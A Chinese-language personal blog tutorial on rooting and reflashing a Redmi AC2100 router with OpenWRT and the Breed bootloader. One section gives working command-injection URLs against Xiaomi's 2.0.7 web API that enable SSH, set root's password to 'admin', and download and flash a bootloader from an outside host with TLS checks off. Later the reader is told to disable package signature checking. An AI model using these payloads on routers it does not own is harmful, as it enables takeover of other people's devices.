背景

入手了一个 Redmi AC 2100, 我直接到手就刷 … 然后就折腾了整整两天.

在刷机的过程中, 我参考了很多教程, 发现刷机的方法简直多姿多彩, 很多教程走的路都不同. 于是我决定总结一下各种刷机方法的 “路径交汇点”, 并且在分享本人刷机路径的同时尝试描述其他的可选项, 让读者在将本文与其他教程交叉参阅时心中有数.

鉴于我初学路由器刷机不过三天, 出错或偏颇恐怕在所难免, 欢迎大佬发邮件指正.

本文假设读者具有基本的 Linux 与计算机网络知识.

各类固件介绍与获得

正如手机刷机可以选很多 ROM 一样, 路由器也有很多系统可选. 我首先选择了原版 OpenWRT 安装, 因为我比较注重动手学习的过程, 并且刚刚好最近两天比较有空, 可以痛苦挣扎两天 :(.

原版 OpenWRT

比较纯粹, 比较官方, 很折腾. 但是对我这种不撞南墙不回头, 心里就想着折腾的人很合适.

OpenWRT 官方的 Release 仓库是 https://downloads.openwrt.org/, 想要刷最新的 release 版 (成文时为 21.02) 的 OpenWRT, 只要去下面的网址里查找 redmi 即可:

https://downloads.openwrt.org/releases/21.02.0/targets/ramips/mt7621/

如图

图里的四个 .bin 文件各有用处:

  • 结尾是 initramfs-kernel 的: 顾名思义, “init ram fs kernel”, 只包含 /boot 里的初始内存文件系统跟内核, 完全不保存持久数据, 一切都在内存里, 重启了所有配置都会消失, 一般用作 底包. Breed 只认这种固件.
  • 结尾是 squashfs-kernel1, squashfs-rootfs0 的: 是正常的持久化系统, 0/1 的后缀代表了它们要被刷入不同的分区. 一般用于 命令行刷入.
  • 结尾是 squashfs-sysupgrade 的: 用于 LuCI Web 界面的, 是给已经有 OpenWRT 的系统升级用的, 一般用于 Web 刷入.

按照你所选择的刷机方式选择下好你想要的包即可. 或者如果你路由器关了就没网的话, 全下了备着也可以.

各类基于 OpenWRT 的定制固件

恩山上有很多各种各样的大佬定制插件, 看帖然后按链接下载就可以了. 我推荐一个我用过的:

另外根据 Zs 佬的博客, 我发现了另一个看起来挺好用的:

编译 Lean 大的 LEDE

是官方 OpenWRT 的一个 fork, 集合了很多常用插件, 需要自己编译. 编译过程如下:

按照 GitHub Repo 里首先安装编译依赖并且下载好代码:

sudo apt update -y
sudo apt full-upgrade -y
sudo apt install -y ack antlr3 asciidoc autoconf automake autopoint binutils bison build-essential \
bzip2 ccache cmake cpio curl device-tree-compiler fastjar flex gawk gettext gcc-multilib g++-multilib \
git gperf haveged help2man intltool libc6-dev-i386 libelf-dev libglib2.0-dev libgmp3-dev libltdl-dev \
libmpc-dev libmpfr-dev libncurses5-dev libncursesw5-dev libreadline-dev libssl-dev libtool lrzsz \
mkisofs msmtp nano ninja-build p7zip p7zip-full patch pkgconf python2.7 python3 python3-pip qemu-utils \
rsync scons squashfs-tools subversion swig texinfo uglifyjs upx-ucl unzip vim wget xmlto xxd zlib1g-dev
git clone https://github.com/coolsnowwolf/lede
cd lede

如果需要 SSR 等中国特色插件, 可以编辑 feeds.conf.default 文件, 加入此 Repo:

echo "src-git helloworld https://github.com/fw876/helloworld.git" >> "feeds.conf.default"

其他的中国特色插件, 可以按需添加:

  • src-git opentopd https://github.com/sirpdboy/sirpdboy-package
  • src-git passwall https://github.com/xiaorouji/openwrt-passwall
  • src-git OpenClash https://github.com/vernesong/OpenClash
  • src-git lienol https://github.com/Lienol/openwrt-package

随后再按照原 Repo 中的步骤, 先更新 feeds, 选择编译选项:

./scripts/feeds update -a
./scripts/feeds install -a
make menuconfig

然后根据参考中恩山的帖子中的说法开始编译:

source /etc/environment
make -j8 download V=s
make -j1 V=s

首次编译建议 jobs 设置为 1, 不容易出问题. 自信的/欧的读者可以大胆开 -j8. 编译后的文件会在 bin/target/ramips/mt7621 下:

root@6ecfdee89de4:/opt/source/lede# ls -lh bin/targets/ramips/mt7621/
total 33M
-rw-r--r-- 1 root root  775 Apr 20 11:51 config.buildinfo
-rw-r--r-- 1 root root   71 Apr 20 11:51 feeds.buildinfo
-rw-r--r-- 1 root root  11M Apr 20 11:56 openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-initramfs-kernel.bin       # Bread 底包
-rw-r--r-- 1 root root 2.5M Apr 20 11:56 openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-kernel1.bin       # SSH 里用
-rw-r--r-- 1 root root 9.2M Apr 20 11:56 openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-rootfs0.bin       # SSH 里用
-rw-r--r-- 1 root root  11M Apr 20 11:56 openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-sysupgrade.bin    # Web 里用
-rw-r--r-- 1 root root 5.9K Apr 20 11:56 openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100.manifest
drwxr-xr-x 2 root root  12K Apr 20 11:56 packages
-rw-r--r-- 1 root root  920 Apr 20 11:56 sha256sums
-rw-r--r-- 1 root root   11 Apr 20 11:51 version.buildinfo

由于我的编译环境在 Docker 内, 所以我运行了 export FORCE_UNSAFE_CONFIGURE=1 后直接用 root 用户编译了. 在正常的 Linux 环境下的用户不要学我.

如果不想编译整个系统, 而是只想编译出插件的, 可以阅读参考中的文章. 编译出来的四个 .bin 文件的作用与 OpenWRT 官网下载下来的同后缀文件相同.

参考:

老毛子 / 潘多拉

是同一个系统 “padavan” 的别名, 网上很多教程, 但是可能对坏块兼容性不足. 因为我扫出了坏块, 并且不想要这种不太透明的固件, 所以我没有刷过这个. 有兴趣的读者应该很容易在网上找到这两个的资料.

刷机过程

刷机路千万条, 据我所知, 总结起来大概是下面这张状态转移图:

刷机路径图

每一个方框代表一个条件, 如果你的路由器符合了方框里的字就可以认为是处在该状态. 在特定的状态下执行特定操作可以转移到其他状态. 下面的各个三级标题分别详细描述了蓝色转移边的操作. 绿色转移边操作过于简单, 故不展开.

在我的刷机操作中, 我选择了路径:

小米原系统 --> OpenWRT 带 SSH --> Bootloader 为 Breed --> OpenWRT 带 LuCI --> 新系统

的路径. 现在回想, 可能使用下面的路径更加方便:

小米原系统 --> OpenWRT 带 SSH --> Bootloader 为 Breed --> OpenWRT 带 SSH --> 新系统

读者自行决断.

获取原系统的控制权

首先, 就好像刷机首先要解锁一样, 为了干掉原系统, 我们首先得获得原系统的最高权限.

(1) Web 漏洞开启 SSH

在现在 (2022 年 4 月), 最流行并且最方便的方法大概就是这个了. 首先需要通过官方系统的刷机页面刷到特定的带 bug 版本的官方系统, 然后访问两个特殊 url 开启即可.

首先下载带 Bug 的官方系统, 版本是 2.0.7. 网上很多走官方 CDN 的固件下载链接, 不知道为什么我都打不开. 所以如果读者有同样问题的话, 可以去看看参考里恩山一个帖子给的百度云链接, 或者是我给的奶牛快传链接下载. 下载后在官方固件的系统更新里直接上传刷入即可.

OpenWRT 官网的教程也是走官方 CDN, 不过版本是 2.0.23. 我自己尝试的时候是用 2.0.7 的.

随后是访问两个特殊的 URL 来开启 SSH. 首先登录官方系统, 然后看浏览器的地址栏, 此时的网址应该是类似这样的:

http://192.168.31.1/cgi-bin/luci/;stok=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/web/home#router

记住 stok 参数的值, 下面经常要用到. 随后依次访问下面两个 URL:

http://192.168.31.1/cgi-bin/luci/;stok=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20nvram%20set%20ssh_en%3D1%3B%20nvram%20commit%3B%20sed%20-i%20's%2Fchannel%3D.*%2Fchannel%3D%5C%22debug%5C%22%2Fg'%20%2Fetc%2Finit.d%2Fdropbear%3B%20%2Fetc%2Finit.d%2Fdropbear%20start%3B
http://192.168.31.1/cgi-bin/luci/;stok=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20echo%20-e%20'admin%5Cnadmin'%20%7C%20passwd%20root%3B

第一个 URL 利用 LuCI 的漏洞开启路由器的 SSH, 第二个则将 root 密码设为 admin.

访问 URL 后页面应该显示 {"code": 0}, 如果不是建议检查固件版本, 或重新刷入正确旧版固件

在访问完这两个 URL 之后, 直接开个 PowerShell ssh root@192.168.31.1 就能进去了.

检查 NAND 坏块

获得 stok 值后, 访问下面的 URL:

http://192.168.31.1/cgi-bin/luci/;stok=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=%0A%5B%20-z%20%22%24(dmesg%20%7C%20grep%20ESMT)%22%20%5D%20%26%26%20B%3D%22Toshiba%22%20%7C%7C%20B%3D%22ESMT%22%0Auci%20set%20wireless.%24(uci%20show%20wireless%20%7C%20awk%20-F%20'.'%20'%2Fwl1%2F%20%7Bprint%20%242%7D').ssid%3D%22%24B%20%24(dmesg%20%7C%20awk%20'%2FBad%2F%20%7Bprint%20%245%7D')%22%0A%2Fetc%2Finit.d%2Fnetwork%20restart%0A

等待一会后, 2.4G WiFi 的名字就会被修改为 <闪存厂商> <坏块编号>* 的格式了

参考:

(2) 利用其他漏洞开启 Telnet

请自行参考恩山的帖子: https://www.right.com.cn/forum/thread-4023907-1-1.html

刷 BL

现在的路由器跟手机差不多, 也有一个 Bootloader 和一块真正用来放系统的闪存.

Breed, 又称为不死固件, 是一个类似手机上 TWRP 的一个 Bootloader, 可以让用户方便地通过一个 Web 界面上传固件并刷入, 不过其支持刷入固件的方式比较有限. 若是通过 Breed 刷机, 一般都是先刷入一个 Breed 能刷的 “底包”, 然后再进入底包的系统, 再在那里上传真正的刷机包刷入. 详见刷底包跟 Web 刷入.

刷入了 Breed 之后, 普通的断电重启会进入正常的系统, 而按住 reset 断电重启就会进入 Breed. 进入 Breed 之后访问 http://192.168.1.1 就可以看到 Breed 的界面.

你问我怎么断电重启? 拔电源线再插上啊 (

参考:

(1) 通过小米原版固件的 Web 漏洞执行命令

只有小米原版 v2.0.7 固件才可以这样做! 并不是所有 OpenWRT 类系统都可以这样干!

访问下面的 URL 即可:

http://192.168.31.1/cgi-bin/luci/;stok=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=%0Acd%20%2Ftmp%0Acurl%20-o%20B%20-O%20https%3A%2F%2Fbreed.hackpascal.net%2Fr1286%2520%255b2020-10-09%255d%2Fbreed-mt7621-xiaomi-r3g.bin%20-k%20-g%0A%5B%20-z%20%22%24(sha256sum%20B%20%7C%20grep%20242d42eb5f5aaa67ddc9c1baf1acdf58d289e3f792adfdd77b589b9dc71eff85)%22%20%5D%20%7C%7C%20mtd%20-r%20write%20B%20Bootloader%0A

路由器会在 60s 内重启.

(2) 命令行操作

在 SSH 中执行下面的命令即可下载并输入 Breed.

cd /tmp
curl -o Breed.bin -O https://breed.hackpascal.net/breed-mt7621-xiaomi-r3g.bin -k
md5sum Breed.bin # 检查输出的 md5 是否为 a9bc8da9d1b673748e079a9e7fb9e388 
mtd -r write Breed.bin Bootloader

一个小坑

如果你刷入了正常的系统, 然后那个系统也用 192.168.1.1 当网关, 你又访问过它的 LuCI 界面的话, 浏览器有可能会记住一个从 http://192.168.1.1http://192.168.2.1/cgi-bin/luci/ 的跳转. 当你进入 Breed, 重新访问 192.168.1.1 的时候, 浏览器就会自作主张地帮你跳转到它记住的 URL, 然后你就会看到一个 Breed 的报错. 我还没研究出怎么样清除浏览器的记忆, 不过如果你遇到这种情况, 请直接开一个无痕模式去访问, 就没有问题了.

有人可能会觉得这是 Breed 的地址跟固件的 冲突 了, 但是实际上只是 浏览器 自作主张罢了. 冲突是不会冲突的, 因为固件跟 Breed 根本就 不会同时运行; 唯一有可能冲突的情况是, 192.168.1.1 这个地址被路由器的上游用了(比如非桥接模式的移动光猫就会用这个地址当网关), 这种情况只要拔掉路由器的 wan 线就可以了. 不过当时还是让我迷惑了好一会的, 我还翻到了这个恩山帖子, 我估摸着楼主可能跟我是同一个情况, 但是其他人不知道(还有反问楼主为什么插 wan 线刷机的, 可能理解歪了).

还有一些其他帖子是真的没拔 wan 线, 下面基本上就直接开骂了 (乐).

刷底包

首先拔掉电源线, 按住 reset, 然后插入电源线, 保持按住 reset 直到闪黄灯为止. 随后浏览器访问 192.168.1.1, 即可进入到 Breed 的界面.

Breed 界面

首先添加一个环境变量:

Breed 环境变量

接着在固件刷写界面, 选择第二个固件, 上传结尾为 initramfs-kernel 的底包, 勾选自动重启, 上传后等待刷入重启即可.

上传界面

重启后便进入底包的系统了. 这个系统是 RAM Only 的, 配置重启就无了, 所以不要尝试直接用底包的系统.

Web 刷入

在确保路由器刷写完成并且重启了之后, 访问 http://192.168.1.1/cgi-bin/luci/admin/system/flash 进入系统升级页面.

系统界面

上传结尾为 sysupgrade 的镜像等待自动更新即可.

命令行刷入

在获得原系统的控制权一节里的启动 SSH 的命令里已经设置了 nvram 了, 不用重复设置了.

在 Windows 下开一个 PowerShell, 将两个固件上传到路由器 /tmp 目录上:

scp openwrt-21.02.0-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-kernel1.bin root@192.168.31.1:/tmp
scp openwrt-21.02.0-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-rootfs0.bin root@192.168.31.1:/tmp

随后 SSH 到路由器上, 按下面的顺序用 mtd 刷写即可:

cd /tmp
mtd write openwrt-21.02.0-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-kernel1.bin kernel1
mtd -r write openwrt-21.02.0-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-rootfs0.bin rootfs0

路由器应该会自动重启, 如果没有, 就手动重插电源线. 重启后应该就能进入 OpenWRT 了.

刷机之后

修改 opkg 源

中国特色步骤. 这里我选择了中科大的源. 根据中科大的文档, 首先改成 http 源, 下载必要的包, 然后马上改成 https 源.

sed -i 's/downloads.openwrt.org/mirrors.ustc.edu.cn\/openwrt/g' /etc/opkg/distfeeds.conf
opkg update
opkg install libustream-openssl ca-bundle ca-certificates
sed -i 's/http/https/g' /etc/opkg/distfeeds.conf
opkg update

获取各类特色插件

软件仓库

在网上找到了一个比较全的中国特色插件仓库: https://github.com/kiddin9/openwrt-packages

将仓库添加到 /etc/opkg/customfeeds.conf:

echo 'src/gz openwrt_kiddin9 https://op.supes.top/packages/mipsel_24kc' >> /etc/opkg/customfeeds.conf

随后编辑 /etc/opkg.conf, 注释(#)掉 option check_signature, 更新源即可.

opkg update

手动编译

详见 编译 lean 大的 lede 一节的参考资料.

校园网多拨 (IPv4)

手动配置

所谓多拨(下面以两拨介绍), 就是创建两个(虚拟)物理设备连上真实的物理设备, 绑定到两个接口, 然后在两个接口之间做链路层负载均衡.

首先安装所需的软件包:

opkg install kmod-macvlan mwan3 luci-app-mwan3 luci-i18n-mwan3-zh-cn

我们的校园网的 DHCP 分 IP 下来, 然后登录使用的. 所以我这里的接口全部都设了 DHCP 协议.

如下在 LuCI 中创建设备(多少拨就创建多少个):

随后如下创建接口(多少拨就创建多少个, 一个设备一个接口). 要注意的是, 各个接口的网关越点一定要互不相同, 下面的 mwan 要依此来做分流.

然后去 MWAN 界面设置负载均衡:

不出意外, 刷新一下网络, 登录即可. 可以去跑一个 speedtest 来看看有没有得到两倍带宽.

阅读参考的要注意. 我按照参考里的命令创建的 macvlan 设备完全申请不到 IP 地址, 但是在 LuCI 里创建的就可以, 我都不知道为什么. 而且参考里叫我绑定 eth0 这个以太网交换机, 但是我绑了是不行的, 只有绑定 wan 这个交换机端口才行, 我目前也不知道为什么. 如果读者里有大佬知道的还请赐教.

参考:

syncdial 插件

插件使用起来很无脑, 如果你已经加入了 获取各类特色插件 里的仓库, 那么直接安装即可获得该插件:

opkg install luci-app-syncdial

具体使用请读者自行摸索, 我还没用过.

校园网 IPv6 NAT6

基本上照着恩山论坛里的这帖子做就可以了: https://www.right.com.cn/forum/thread-2661027-1-1.html

我还参考了另一篇博客: https://blog.hiirachan.moe/archives/1598021438.html

总结

一番折腾下来, 我总算是配好了一个能用的原版 OpenWRT.

… 然后我转头就去用 hfy166 大佬的固件了 (真香!).

不过在折腾的过程中还是学到了很多东西, 所以时间也不算白费吧.